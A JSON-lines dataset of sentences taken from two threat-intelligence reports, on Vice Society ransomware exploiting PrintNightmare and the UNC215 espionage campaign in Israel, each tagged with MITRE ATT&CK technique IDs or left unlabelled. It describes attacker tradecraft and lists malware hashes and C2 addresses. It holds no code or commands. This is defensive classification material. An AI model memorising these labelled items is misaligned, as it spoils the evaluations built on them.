{"sentence": "This data, once exfiltrated, is published to attacker-controlled websites that are commonly referred to as \"data leak sites\" in situations where the victim chooses not to pay the ransom demand.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this attack, we observed the adversary attempting to exfiltrate sensitive information over SMB (TCP/445) directly from a compromised domain controller.", "labels": ["T1041"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This was likely chosen as a way to bypass egress filtering that may have been in place at the perimeter of the victim environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Defender takeawaysIt can be difficult to account for the myriad ways an attacker can compromise and inflict malware on a network.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Given the techniques demonstrated here, it can feel overwhelming as a defender to account for every avenue of attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The good news is that there are several lessons we can learn about this incident: Logging is critical for forensics — ensure there is reliable and secure logging infrastructure in place.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Utilize multi-factor authentication to make credential theft more difficult to exploit.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Look at egress filtering for firewalls and ensure malicious traffic cannot call out to adversary infrastructure.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Utilize an endpoint detection response platform that detects LoLBin abuse and malware implants.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Keep up-to-date and offline backups that cannot be targeted by adversaries.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "ConclusionAs demonstrated throughout this post, attackers often make use of a variety of tactics, techniques, and procedures as they work to accomplish their mission objectives.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In some instances, there is significant overlap and similarities between the approaches taken by distinct threat actors.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "They often leverage dual-use tools for various purposes to minimize their footprint and evade detection.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Likewise, adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Multiple distinct threat actors are now taking advantage of PrintNightmare, and this adoption will likely continue to increase as long as it is effective.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "It is important that defenders be aware of the various TTPs being used throughout the attack lifecycle so that they are prepared to prevent, detect, and respond to nefarious activity that may be indicative of a successful compromise of their environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Failure to do so could result in widespread operational disruption, reputational damage, and the loss of confidentiality of sensitive information.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "CoverageWays our customers can detect and block this threat are listed below.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Secure Endpoint is ideally suited to prevent the execution of the malware detailed in this post.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "New users can try Cisco Secure Endpoint for free here.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Secure Firewall and Meraki MX can detect malicious activity associated with this threat.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Secure Malware Analytics helps identify malicious binaries and build protection into all Cisco Security products.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Additional protections with context to your specific environment and threat data are available from the Cisco Secure Firewall Management Center.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The following SIDs have been released to detect this threat: 57876, 57877.Indicators of Compromise (IOCs)The following IOCs have been observed being associated with the attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "PrintNightmare DLL:", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "6f191f598589b7708b1890d56b374b45c6eb41610d34f976f0b4cfde8d5731af", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This blog post details the post-compromise tradecraft and operational tactics, techniques, and procedures (TTPs) of a Chinese espionage group we track as UNC215.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "While UNC215’s targets are located throughout the Middle East, Europe, Asia, and North America, this report focuses on intrusion activity primarily observed at Israeli entities.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This report comes on the heels of the July 19, 2021, announcements by governments in North America, Europe, and Asia and intragovernmental organizations, such as the North Atlantic Treaty Organization (NATO), and the European Union, condemning widespread cyber espionage conducted on behalf of the Chinese Government.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "These coordinated statements attributing sustained cyber espionage activities to the Chinese Government corroborate our long-standing reporting on Chinese threat actor targeting of private companies, governments, and various organizations around the world, and this blog post shows yet another region where Chinese cyber espionage is active.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Threat Detail", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In early 2019, Mandiant began identifying and responding to intrusions in the Middle East by Chinese espionage group UNC215.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "These intrusions exploited the Microsoft SharePoint vulnerability CVE-2019-0604 to install web shells and FOCUSFJORD payloads at targets in the Middle East and Central Asia.", "labels": ["T1190"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "There are targeting and high level technique overlaps with between UNC215 and APT27, but we do not have sufficient evidence to say that the same actor is responsible for both sets of activity.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "APT27 has not been seen since 2015, and UNC215 is targeting many of the regions that APT27 previously focused on; however, we have not seen direct connection or shared tools, so we are only able to assess this link with low confidence.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In addition to data from Mandiant Incident Response and FireEye telemetry, we worked with Israeli defense agencies to review data from additional compromises of Israeli entities.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This analysis showed multiple, concurrent operations against Israeli government institutions, IT providers and telecommunications entities beginning in January 2019.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "During this time, UNC215 used new TTPs to hinder attribution and detection, maintain operational security, employ false flags, and leverage trusted relationships for lateral movement.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We believe this adversary is still active in the region.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Attack Lifecycle Between 2019 and 2020, Mandiant responded to several incidents where Microsoft SharePoint vulnerability CVE-2019-0604 was used to deliver web shells, and then FOCUSFJORD payloads to select government and academic targets in the Middle East and Central Asia.", "labels": ["T1190"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "After gaining initial access, the operators conduct credential harvesting and extensive internal network reconnaissance.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This includes running native Windows commands on compromised servers, executing ADFind on the Active Directory, and scanning the internal network with numerous publicly available tools and a non-public scanner we named WHEATSCAN.", "labels": ["T1059.003"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The operators made a consistent effort to delete these tools and remove any residual forensic artifacts from compromised systems.", "labels": ["T1027"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In another incident response investigation, UNC215 pivoted to multiple OWA servers and installed web shells.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In the following days, the operators interacted with these web shells from internal IP addresses, attempting to harvest credentials.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "After identifying key systems within the target network, such as domain controllers and Exchange servers, UNC215 moved laterally and deployed their signature malware FOCUSFJORD.", "labels": ["T1570"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "UNC215 often uses FOCUSFJORD for the initial stages of an intrusion, and then later deploys HYPERBRO, which has more information collection capabilities such as screen capture and keylogging.", "labels": ["T1056.001", "T1113"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "While UNC215 heavily relies on the custom tools FOCUSFJORD and HYPERBRO, Chinese espionage groups often have resource sharing relationships with other groups, and we do not have enough information to determine if these tools are developed and used exclusively by UNC215. Figure 1: Attack Lifecycle Tradecraft and Operational Security We identified numerous examples of efforts by UNC215 to foil network defenders by minimizing forensic evidence left on compromised hosts, exploiting relationships with trusted third parties, continuously improving the FOCUSFJORD backdoor, concealing command and control (C2) infrastructure, and incorporating false flags.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Reducing Forensic Evidence on Disk UNC215 consistently cleaned up evidence of their intrusion after gaining access to a system.", "labels": ["T1027"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This type of action can make it more difficult for incident responders to reconstruct what happened during a compromise.", "labels": ["T1070.004"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The operators deleted tools used for credential harvesting and internal reconnaissance including a custom scanner dubbed WHEATSCAN after use.", "labels": ["T1070.004"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The first FOCUSFJORD payload delivered to a system contains a blob that includes C2 and other configuration data.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "On initial execution, FOCUSFJORD writes its encrypted C2 configuration into the system’s registry, sets up a persistence mechanism and then rewrites itself on disk without the embedded configuration and with limited functionality to only read configuration data.", "labels": ["T1112"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This process enables the operators to obfuscate the configured C2 servers from automated sandbox runs or disclosure in public file scanning services.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "A newly identified utility dubbed FJORDOHELPER can update FOCUSFJORD configurations and completely remove FOCUSFJORD from the system.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The tool can be deployed and executed remotely to delete any remaining FOCUSFJORD forensic evidence, including files on disk, configuration data encrypted in the registry, and related services and registry keys used for persistence.", "labels": ["T1070.004"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Exploiting Trust Relationships UNC215 leveraged trusted third parties in a 2019 operation targeting an Israeli government network.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "As illustrated in Figure 2, the operators were able to access their primary target via RDP connections from a trusted third party using stolen credentials and used this access to deploy and remotely execute FOCUSFJORD on their primary target.", "labels": ["T1021.001", "T1078", "T1570"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Figure 2: Two FOCUSFJORD samples configured to proxy C2 traffic Concealing C2 Infrastructure UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic.", "labels": ["T1090"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers.", "labels": ["T1090"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "HYPERBRO samples MD5:", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "0ec4d0a477ba21bda9a96d8f360a6848 and MD5: 04dece2662f648f619d9c0377a7ba7c0 have embedded configurations of internal IP addresses (192.168.1.237 and 192.168.4.26 respectively) as C2 servers.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "If they receive a command with an IP address and port, they will connect and relay the command.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD sample MD5: e3e1b386cdc5f4bb2ba419eb69b1b921 has an internal IP address, 192.168.4.197, configured as its C2.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This sample was extracted from MD5: c25e8e4a2d5314ea55afd09845b3e886, which was submitted to a public malware repository in December 2017.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "While hunting for FOCUSFJORD samples, we found a sample of a new malware (MD5: 625dd9048e3289f19670896cf5bca7d8) that shares code with FOCUSFJORD, but is distinct.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "However, analysis indicates that it only contains functions to relay communications between another FOCUSFJORD instance and a C2 server (Figure 2, Network A).", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We suspect this type of malware was used in the aforementioned operation.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The actors stripped out unnecessary FOCUSFJORD capabilities, possibly to reduce the likelihood it would be detected by security controls.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Figure 3 contains the data structure as it is being sent from a FOCUSFJORD sample configured to communicate with another FOCUSFJORD victim.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Figure 3: Two FOCUSFJORD samples configured to proxy C2 traffic FOCUSFJORD Changes We have observed numerous variants of the FOCUSFJORD malware family since 2017.", "labels": ["T1090"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The authors have added new communications protocols, an updated loading mechanism, and expanded the number of supported configurations in newer versions.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Version numbers indicate that the malware undergoes frequent changes and maybe supported by a team of developers.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Many of these variants contain or remove functionality depending on the operator’s unique requirements at the time, which may suggest that multiple operators have access to the source code or a builder, or that a close relationship exists between the developers and operators.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD samples can be configured with up to 13 unique registry values which allow operators to control and organize compromised hosts.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In addition to specifying details related to the loading and persistence mechanisms and C2 communications, there are two keys which allow the operator to add additional context about the victim: Registry key 12 is the “group” name.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "When a new FOCUSFJORD sample is first executed and writes its configuration to registry, this value is set to “default” and is later manually changed by the actor, usually to the victim’s domain name or organization name.", "labels": ["T1082", "T1112"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Registry key 13 could be interpreted as the “console” name, although we do not fully understand how the identifier is used by the operators.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We have observed the values “galway”, “iceland”, “helen”, and “idapro”.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "It is not clear how or if UNC215 uses these configuration parameters to organize and track large numbers of compromised hosts.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We observed different console values within the same network, identical console values using different C2 addresses, and identical console values targeting different countries.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Some FOCUSFJORD samples from 2018 and 2020 use the same console values despite the significant gap in time (See Table 1).", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The NCC Group discussed these configurations in a 2018 report and released a decoding tool.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Trendmicro noted changes to supported configurations in FOCUSFJORD, dubbed SysUpdate, in their 2020 and 2021 reports following public disclosures.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This suggests that operators using FOCUSFJORD are sensitive to security vendor reports and will update the code to avoid detection and exposure.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Registry Key 13 FOCUSFJORD MD5 Hash Related C2 Suspected Target helen 3d95e1c94bd528909308b198f3d47620 139.59.81.253 Israel helen", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "f335b241652cb7f7e736202f14eb48e9 139.59.81.253 Israel helen a0b2193362152053671dbe5033771758 139.59.81.253 Israel helen", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "6a9a4da3f7b2075984f79f67e4eb2f28 139.59.81.253 Kazakhstan helen a19370b97fe64ca6a0c202524af35a30 159.89.168.83 Iran helen 3c1981991cce3b329902288bb2354728 103.59.144.183 Unknown iceland 26d079e3afb08af0ac4c6d92fd221e71 178.79.177.69 UAE iceland 19c46d01685c463f21ef200e81cb1cf1 138.68.154.133 UAE iceland 28ce8dbdd2b7dfd123cebbfff263882c 138.68.154.133 Unknown iceland a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (Gov),", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "UAE iceland a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (IT) idapro a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (IT) galway 04c51909fc65304d907b7cb6c92572cd", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "159.65.80.157 Unknown galway 0e061265c0b5998088443628c03188f0 159.65.80.157", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Unknown galway 09ffc31a432f646ebcec59d32f286317", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "159.65.80.157 Unknown galway 6ca8993b341bd90a730faef1fb73958b", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "128.199.44.86 Unknown Helen * Unknown 46.101.255.16 Iran Helen * Unknown 178.79.143.78 Iran Idapro * Unknown 138.68.154.133 Iran Table 1: FOCUSFJORD comparison (note: the * entries are from public reporting and have not been verified by Mandiant) False Flags Artifacts in UNC215 campaigns often contain foreign language strings that do not match the country being targeted and may be intended to mislead an analyst examining the malware.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Additionally, on at least three occasions, UNC215 employed a custom tool associated with Iranian actors whose source code was leaked.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In several cases, we identified FOCUSFJORD samples with registry key names in regional languages.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The registry key names are hardcoded into every FOCUSFJORD sample, as the malware needs to read and decrypt those registry key values for proper execution.", "labels": ["T1012", "T1140"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD samples (MD5: d13311df4e48a47706b4352995d67ab0 and MD5: 26d079e3afb08af0ac4c6d92fd221e71) observed on Israeli and UAE networks, and a memory dump (MD5: d875858dbd84b420a2027ef5d6e3a512) submitted to a public malware repository by a likely Uzbekistan financial organization are configured with registry keys in Farsi.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Linguistic analysis suggests that these terms were auto translated as they are not commonly used by native Farsi speakers.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Another FOCUSFJORD sample uploaded from Uzbekistan (MD5: ac431261b8852286d99673fddba38a50) contains a configuration with registry key names in Hindi.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Notably, this variant also contains an error message string in Arabic ('ضائع' – which translates to: lost or missing).", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In April 2019, UNC215 deployed the SEASHARPEE web shell against financial and high-tech organizations in the Middle East and Asia.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The SEASHARPEE web shell was developed and used by Iranian APT actors until the code was leaked online in the telegram channel Lab Dookhtegan a few weeks earlier in March 2019.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Around this time, the Turkish-language file Sosyal Güvenlik Reformu-Not-3.doc \"Social Security Reform - Note - 3.doc\" (MD5: 6930bd66a11e30dee1ef4f57287b1318) was distributed to a suspected Turkish government entity based on data from an open-source malware repository.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The document contains \"C:\\Users\\Iran\" paths that were likely included to obfuscate the source of the activity.", "labels": ["T1027"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The use of Farsi strings, filepaths containing /Iran/, and web shells publicly associated with Iranian APT groups may have been intended to mislead analysts and suggest an attribution to Iran.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Notably, in 2019 the government of Iran accused APT27 of attacking its government networks and released a detection and removal tool for HYPERBRO malware.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Tradecraft Mistakes While UNC215 prioritizes evading detection within a compromised network, Mandiant identified several examples of code, C2 infrastructure, and certificate reuse indicating that UNC215 operators are less concerned about defenders’ ability to track and detect UNC215 activity.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In several instances, UNC215 used the same exact file against multiple victims and frequently shared infrastructure across victims.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This lack of compartmentalization is not uncommon, but does show that UNC215 is relatively less concerned about the ability for their compromises to be linked to each other.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.", "labels": ["T1562.001"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Attribution Mandiant attributes this campaign to Chinese espionage operators which we track as UNC215 a Chinese espionage operation that has been suspected of targeting organizations around the world since at least 2014.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We have low confidence that UNC215 is associated with APT27.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Outlook and Implications", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The activity detailed in this post demonstrates China’s consistent strategic interest in the Middle East.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This cyber espionage activity is happening against the backdrop of China’s multi-billion-dollar investments related to the Belt and Road Initiative (BRI) and its interest in Israeli’s robust technology sector.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Chinese companies have invested billions of dollars into Israeli technology startups, partnering or acquiring companies in strategic industries like semi-conductors and artificial intelligence.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "As China’s BRI moves westward, its most important construction projects in Israel are the railway between Eilat and Ashdod, a private port at Ashdod, and the port of Haifa.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "China has conducted numerous intrusion campaigns along the BRI route to monitor potential obstructions—political, economic, and security—and we anticipate that UNC215 will continue targeting governments and organizations involved in these critical infrastructure projects in Israel and the broader Middle East in the near- and mid-term. MITRE ATT&CK Techniques ID Technique T1003.001 OS Credential Dumping: LSASS Memory T1007 System Service Discovery T1010 Application Window Discovery T1012 Query Registry T1016 System Network Configuration Discovery T1021.001 Remote Services: Remote Desktop Protocol T1027 Obfuscated Files or Information T1033", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "System Owner/User Discovery T1055 Process Injection T1055.003 Process Injection: Thread Execution Hijacking T1055.012 Process Injection: Process Hollowing T1056.001 Input Capture: Keylogging T1057 Process Discovery T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1070.004 Indicator Removal on Host: File Deletion T1070.006 Indicator Removal on Host: Timestomp T1071.001 Application Layer Protocol: Web Protocols T1078 Valid Accounts T1082 System Information Discovery T1083 File and Directory Discovery T1087 Account Discovery T1090 Proxy T1095 Non-Application Layer Protocol T1098 Account Manipulation T1105", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Ingress Tool Transfer T1112", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Modify Registry T1113 Screen Capture T1115 Clipboard Data T1133 External Remote Services T1134 Access Token Manipulation T1140", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Deobfuscate/Decode Files or Information T1190", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Exploit Public-Facing Application T1199 Trusted Relationship T1202 Indirect Command Execution T1213 Data from Information Repositories T1482 Domain Trust Discovery T1489", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Service Stop T1497 Virtualization/Sandbox Evasion T1497.001 Virtualization/Sandbox Evasion: System Checks T1505.003 Server Software Component: Web Shell T1518 Software Discovery T1543.003 Create or Modify System Process: Windows Service T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1553.002 Subvert Trust Controls: Code Signing T1559.002 Inter-Process Communication: Dynamic Data Exchange T1560", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Archive Collected Data T1564.003", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Hide Artifacts: Hidden Window T1569.002 System Services: Service Execution T1573.002 Encrypted Channel:", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Asymmetric Cryptography T1574.002 Hijack Execution Flow: DLL Side-Loading T1583.003 Acquire Infrastructure: Virtual Private Server T1588.003 Obtain Capabilities: Code Signing Certificates T1608.003 Stage Capabilities: Install Digital Certificate Indicators of Compromise", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
